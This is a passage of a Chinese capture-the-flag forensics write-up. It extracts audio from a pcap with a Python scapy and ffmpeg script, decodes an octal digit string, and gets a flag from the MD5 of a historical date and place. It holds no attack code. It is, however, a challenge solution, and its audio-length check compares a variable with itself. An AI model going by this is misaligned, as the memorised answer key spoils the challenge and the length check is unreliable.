                    f.write(raw_data)
195

196
                # 尝试转换为WAV
197
                wav_files = self._try_convert_to_wav(raw_file, output_dir, f"udp_port_{port}")
198
                extracted_files.extend(wav_files)
199

200
        except Exception as e:
201
            print(f"提取UDP流时出错: {e}")
202

203
        return extracted_files
204

205
    def _extract_tcp_audio(self, pcap_file, output_dir):
206
        """提取TCP音频流"""
207
        print("\n=== 尝试提取TCP音频流 ===")
208
        extracted_files = []
209

210
        try:
211
            # 使用scapy读取pcap文件
212
            packets = rdpcap(pcap_file)
213

214
            # 按TCP流分组
215
            tcp_streams = {}
216
            for packet in packets:
217
                if packet.haslayer(TCP) and packet.haslayer(Raw):
218
                    tcp = packet[TCP]
219
                    stream_key = f"{packet[IP].src}:{packet[IP].dst}:{tcp.sport}:{tcp.dport}"
220

221
                    if stream_key not in tcp_streams:
222
                        tcp_streams[stream_key] = []
223

224
                    # 获取TCP载荷
225
                    payload = bytes(tcp.payload)
226
                    if payload:
227
                        tcp_streams[stream_key].append(payload)
228

229
            print(f"发现 {len(tcp_streams)} 个TCP流")
230

231
            # 处理每个TCP流
232
            for i, (stream_key, payloads) in enumerate(tcp_streams.items()):
233
                if len(payloads) < 10:  # 太少的包可能不是音频流
234
                    continue
235

236
                print(f"处理TCP流 {i+1}: {stream_key}")
237

238
                # 合并载荷
239
                raw_data = b''.join(payloads)
240

241
                # 保存原始数据
242
                raw_file = os.path.join(self.temp_dir, f"tcp_{i}.raw")
243
                with open(raw_file, 'wb') as f:
244
                    f.write(raw_data)
245

246
                # 尝试转换为WAV
247
                wav_files = self._try_convert_to_wav(raw_file, output_dir, f"tcp_stream_{i+1}")
248
                extracted_files.extend(wav_files)
249

250
        except Exception as e:
251
            print(f"提取TCP流时出错: {e}")
252

253
        return extracted_files
254

255
    def _extract_raw_audio(self, pcap_file, output_dir):
256
        """尝试提取原始音频数据"""
257
        print("\n=== 尝试提取原始音频数据 ===")
258
        extracted_files = []
259

260
        try:
261
            # 使用scapy读取所有可能的载荷
262
            packets = rdpcap(pcap_file)
263

264
            # 收集所有可能的载荷
265
            all_payloads = []
266
            for packet in packets:
267
                if packet.haslayer(Raw):
268
                    payload = bytes(packet[Raw])
269
                    if len(payload) > 100:  # 只处理较大的载荷
270
                        all_payloads.append(payload)
271

272
            if all_payloads:
273
                # 合并所有载荷
274
                raw_data = b''.join(all_payloads)
275

276
                # 保存为临时文件
277
                raw_file = os.path.join(self.temp_dir, "raw_pcap.bin")
278
                with open(raw_file, 'wb') as f:
279
                    f.write(raw_data)
280

281
                # 尝试转换为WAV
282
                wav_files = self._try_convert_to_wav(raw_file, output_dir, "raw_pcap_data")
283
                extracted_files.extend(wav_files)
284

285
        except Exception as e:
286
            print(f"提取原始数据时出错: {e}")
287

288
        return extracted_files
289

290
    def _try_convert_to_wav(self, raw_file, output_dir, base_name):
291
        """尝试使用多种编码格式将原始文件转换为WAV"""
292
        converted_files = []
293

294
        # 检查文件大小
295
        if not os.path.exists(raw_file) or os.path.getsize(raw_file) < 1000:  # 太小可能不是音频
296
            return converted_files
297

298
        # 常见的音频格式和参数组合
299
        formats_to_try = [
300
            # (格式, 采样率, 声道数, 描述)
301
            ('mulaw', 8000, 1, 'G.711_μ-law_8kHz_mono'),
302
            ('alaw', 8000, 1, 'G.711_A-law_8kHz_mono'),
303
            ('mulaw', 16000, 1, 'G.711_μ-law_16kHz_mono'),
304
            ('alaw', 16000, 1, 'G.711_A-law_16kHz_mono'),
305
            ('s16le', 8000, 1, 'PCM_16bit_8kHz_mono'),
306
            ('s16le', 16000, 1, 'PCM_16bit_16kHz_mono'),
307
            ('s16le', 44100, 1, 'PCM_16bit_44.1kHz_mono'),
308
            ('s16le', 48000, 1, 'PCM_16bit_48kHz_mono'),
309
        ]
310

311
        # 检查ffmpeg是否可用
312
        if not self._check_ffmpeg():
313
            print("未找到ffmpeg，无法转换音频格式")
314
            return converted_files
315

316
        # 尝试每种格式
317
        for fmt, rate, channels, desc in formats_to_try:
318
            output_file = os.path.join(output_dir, f"{base_name}_{desc}.wav")
319

320
            try:
321
                cmd = [
322
                    'ffmpeg', '-y',  # -y 覆盖已存在文件
323
                    '-f', fmt,
324
                    '-ar', str(rate),
325
                    '-ac', str(channels),
326
                    '-i', raw_file,
327
                    output_file
328
                ]
329

330
                # 运行ffmpeg
331
                result = subprocess.run(cmd, capture_output=True, timeout=10)
332

333
                # 检查是否成功生成文件且文件大小合理
334
                if (result.returncode == 0 and
335
                    os.path.exists(output_file) and
336
                    os.path.getsize(output_file) > 1024):  # 至少1KB
337

338
                    # 验证WAV文件
339
                    if self._validate_wav_file(output_file):
340
                        print(f"  ✓ 成功转换: {desc}")
341
                        converted_files.append(output_file)
342
                        # 成功一个就停止，避免重复转换
343
                        break
344
                    else:
345
                        # 删除无效文件
346
                        os.remove(output_file)
347
                else:
348
                    # 删除可能创建的无效文件
349
                    if os.path.exists(output_file):
350
                        os.remove(output_file)
351

352
            except (subprocess.TimeoutExpired, Exception) as e:
353
                # 删除可能创建的无效文件
354
                if os.path.exists(output_file):
355
                    os.remove(output_file)
356

357
        return converted_files
358

359
    def _validate_wav_file(self, wav_file):
360
        """验证WAV文件是否有效"""
361
        try:
362
            with wave.open(wav_file, 'rb') as wav:
363
                # 检查基本参数
364
                frames = wav.getnframes()
365
                rate = wav.getframerate()
366
                channels = wav.getnchannels()
367

368
                # 如果帧数太少，可能不是有效音频
369
                if frames < 100:
370
                    return False
371

372
                # 尝试读取一些数据
373
                data = wav.readframes(min(1000, frames))
374
                if len(data) == 0:
375
                    return False
376

377
            return True
378
        except:
379
            return False
380

381
    def _check_ffmpeg(self):
382
        """检查ffmpeg是否可用"""
383
        try:
384
            subprocess.run(['ffmpeg', '-version'], capture_output=True)
385
            return True
386
        except:
387
            return False
388

389
    def _enhance_all_audio(self, output_dir):
390
        """增强所有提取的音频文件"""
391
        enhanced_files = []
392

393
        # 获取所有WAV文件
394
        wav_files = [f for f in self.extracted_files if f.endswith('.wav')]
395

396
        if not wav_files:
397
            print("没有找到WAV文件进行增强")
398
            return enhanced_files
399

400
        print(f"将对 {len(wav_files)} 个音频文件进行增强")
401

402
        for wav_file in wav_files:
403
            try:
404
                enhanced_file = self._enhance_single_audio(wav_file)
405
                if enhanced_file:
406
                    enhanced_files.append(enhanced_file)
407
                    print(f"  ✓ 增强完成: {os.path.basename(enhanced_file)}")
408
            except Exception as e:
409
                print(f"  ✗ 增强失败 {os.path.basename(wav_file)}: {e}")
410

411
        return enhanced_files
412

413
    def _enhance_single_audio(self, input_file):
414
        """增强单个音频文件"""
415
        if not self.have_enhance_deps:
416
            return None
417

418
        try:
419
            # 读取WAV文件
420
            with wave.open(input_file, 'rb') as wf:
421
                nch = wf.getnchannels()
422
                sw = wf.getsampwidth()
423
                sr = wf.getframerate()
424
                n_frames = wf.getnframes()
425
                data = wf.readframes(n_frames)
426

427
            # 只处理16位PCM
428
            if sw != 2:
429
                print(f"  [!] 跳过非16位PCM文件: {os.path.basename(input_file)}")
430
                return None
431

432
            # 转换为numpy数组
433
            audio_int16 = np.frombuffer(data, dtype=np.int16)
434
            audio_float32 = audio_int16.astype(np.float32)
435

436
            # 如果是立体声，转换为单声道
437
            if nch == 2:
438
                audio_float32 = audio_float32.reshape(-1, 2)
439
                audio_float32 = np.mean(audio_float32, axis=1)
440

441
            # 1. 去除DC偏移并归一化
442
            audio_float32 = audio_float32 - np.mean(audio_float32)
443
            audio_float32 = audio_float32 / 32768.0
444

445
            # 2. 应用语音频段滤波器 (300-3400Hz)
446
            nyquist = sr / 2.0
447
            low = 300.0 / nyquist
448
            high = 3400.0 / nyquist
449

450
            if high > low:
451
                b, a = signal.butter(4, [low, high], btype='band')
452
                audio_float32 = signal.filtfilt(b, a, audio_float32)
453

454
            # 3. 频域噪声门
455
            # 使用简单的STFT降噪
456
            f, t, Zxx = signal.stft(audio_float32, fs=sr, nperseg=256, noverlap=128, boundary=None)
457
            magnitude = np.abs(Zxx)
458

459
            # 估计噪声基底
460
            noise_floor = np.median(magnitude, axis=1, keepdims=True)
461
            threshold = noise_floor * 1.5
462

463
            # 应用噪声门
464
            gain_mask = np.where(magnitude >= threshold, 1.0, 0.25)
465
            Zxx_denoised = Zxx * gain_mask
466

467
            # 逆STFT
468
            _, audio_float32 = signal.istft(Zxx_denoised, fs=sr, nperseg=256, noverlap=128, boundary=None)
469

470
            # 确保长度一致
471
            if len(audio_float32) > len(audio_float32):
472
                audio_float32 = audio_float32[:len(audio_float32)]
473
            elif len(audio_float32) < len(audio_float32):
474
                audio_float32 = np.pad(audio_float32, (0, len(audio_float32) - len(audio_float32)))
475

476
            # 4. 应用增益
477
            audio_float32 = audio_float32 * 30.0  # 30倍增益
478

479
            # 5. 软限制器防止削波
480
            abs_signal = np.abs(audio_float32)
481
            signal_sign = np.sign(audio_float32)
482

483
            above_threshold = abs_signal > 0.8
484
            processed_magnitude = abs_signal.copy()
485
            processed_magnitude[above_threshold] = 0.8 + (abs_signal[above_threshold] - 0.8) / 6.0
486

487
            audio_float32 = signal_sign * processed_magnitude
488

489
            # 6. 最终裁剪到[-1.0, 1.0]
490
            audio_float32 = np.clip(audio_float32, -1.0, 1.0)
491

492
            # 转换回16位整数
493
            audio_int16 = (audio_float32 * 32767.0).astype(np.int16)
494

495
            # 创建输出文件名
496
            base_name = os.path.splitext(input_file)[0]
497
            enhanced_file = f"{base_name}_enhanced.wav"
498

499
            # 保存增强后的文件
500
            with wave.open(enhanced_file, 'wb') as wf:
501
                wf.setnchannels(1)  # 输出为单声道
502
                wf.setsampwidth(2)  # 16位
503
                wf.setframerate(sr)
504
                wf.writeframes(audio_int16.tobytes())
505

506
            return enhanced_file
507

508
        except Exception as e:
509
            print(f"增强音频时出错: {e}")
510
            return None
511

512
    def _print_summary(self):
513
        """打印提取结果摘要"""
514
        print("\n" + "="*50)
515
        print("提取结果摘要")
516
        print("="*50)
517

518
        if not self.extracted_files:
519
            print("未找到任何音频文件")
520
            return
521

522
        # 分类统计
523
        original_files = [f for f in self.extracted_files if not f.endswith('_enhanced.wav')]
524
        enhanced_files = [f for f in self.extracted_files if f.endswith('_enhanced.wav')]
525

526
        print(f"成功提取 {len(original_files)} 个原始音频文件:")
527
        for i, file_path in enumerate(original_files, 1):
528
            file_size = os.path.getsize(file_path)
529
            print(f"  {i}. {os.path.basename(file_path)} ({file_size} 字节)")
530

531
        if enhanced_files:
532
            print(f"\n成功生成 {len(enhanced_files)} 个增强音频文件:")
533
            for i, file_path in enumerate(enhanced_files, 1):
534
                file_size = os.path.getsize(file_path)
535
                print(f"  {i}. {os.path.basename(file_path)} ({file_size} 字节)")
536

537
        print(f"\n所有文件已保存到: {os.path.dirname(self.extracted_files[0])}")
538

539

540
# 使用示例
541
if __name__ == "__main__":
542
    import sys
543

544
    if len(sys.argv) < 2:
545
        print("用法: python audio_extractor.py <pcap文件> [输出目录] [是否增强音频]")
546
        print("示例: python audio_extractor.py voice_traffic.pcap extracted_audio")
547
        print("示例: python audio_extractor.py voice_traffic.pcap extracted_audio false (不增强音频)")
548
        sys.exit(1)
549

550
    pcap_file = sys.argv[1]
551
    output_dir = sys.argv[2] if len(sys.argv) > 2 else "extracted_audio"
552

553
    # 默认启用音频增强
554
    enhance_audio = True
555
    if len(sys.argv) > 3 and sys.argv[3].lower() in ['false', '0', 'no']:
556
        enhance_audio = False
557

558
    if not os.path.exists(pcap_file):
559
        print(f"错误: 文件 '{pcap_file}' 不存在")
560
        sys.exit(1)
561

562
    extractor = PCAPAudioExtractor(enhance_audio=enhance_audio)
563
    extracted_files = extractor.extract_all_audio(pcap_file, output_dir)

还是可以提取出来的，不过速度有点感人：

里面可以听到一串数字：

651466314514271616614214660701456661601411451426071146666014214371656514214470

1
octal_string = "651466314514271616614214660701456661601411451426071146666014214371656514214470"
2
result_list = []
3
current_index = 0
4

5
while current_index < len(octal_string):
6
    # Try 3-digit octal conversion
7
    if current_index + 3 <= len(octal_string):
8
        three_digit_string = octal_string[current_index:current_index + 3]
9
        try:
10
            three_digit_number = int(three_digit_string, 8)
11
            if 32 <= three_digit_number <= 127:
12
                result_list.append(chr(three_digit_number))
13
                current_index += 3
14
                continue
15
        except ValueError:
16
            pass  # If conversion fails, try 2-digit
17

18
    # Try 2-digit octal conversion
19
    if current_index + 2 <= len(octal_string):
20
        two_digit_string = octal_string[current_index:current_index + 2]
21
        try:
22
            two_digit_number = int(two_digit_string, 8)
23
            if 32 <= two_digit_number <= 127:
24
                result_list.append(chr(two_digit_number))
25
                current_index += 2
26
                continue
27
        except ValueError:
28
            pass  # If conversion fails, skip
29

30
    # If neither works, skip the current character
31
    current_index += 1
32

33
decoded_result = ''.join(result_list)
34
print(decoded_result)

解密压缩包，听音频内容：

1
粤语：一切安好，我会按照要求准备好抽查，我该送到何地？
2

3
国语：送至双里湖西岸南山茶铺，左边第二个橱柜，勿放错
4

5
粤语：我已知悉，你在那边可还安好？
6

7
国语：一切安好，希望你我二人早日相见。
8

9
粤语：指日可待。茶叶送到了，但是晚了时日，茶铺看来只能另寻良辰吉日了。你在那边，千万保重

上网搜索对应事件找到了 1949年10月24日8时45分于双鲤湖西岸南山茶铺

md5后得到flag

诗雨小栈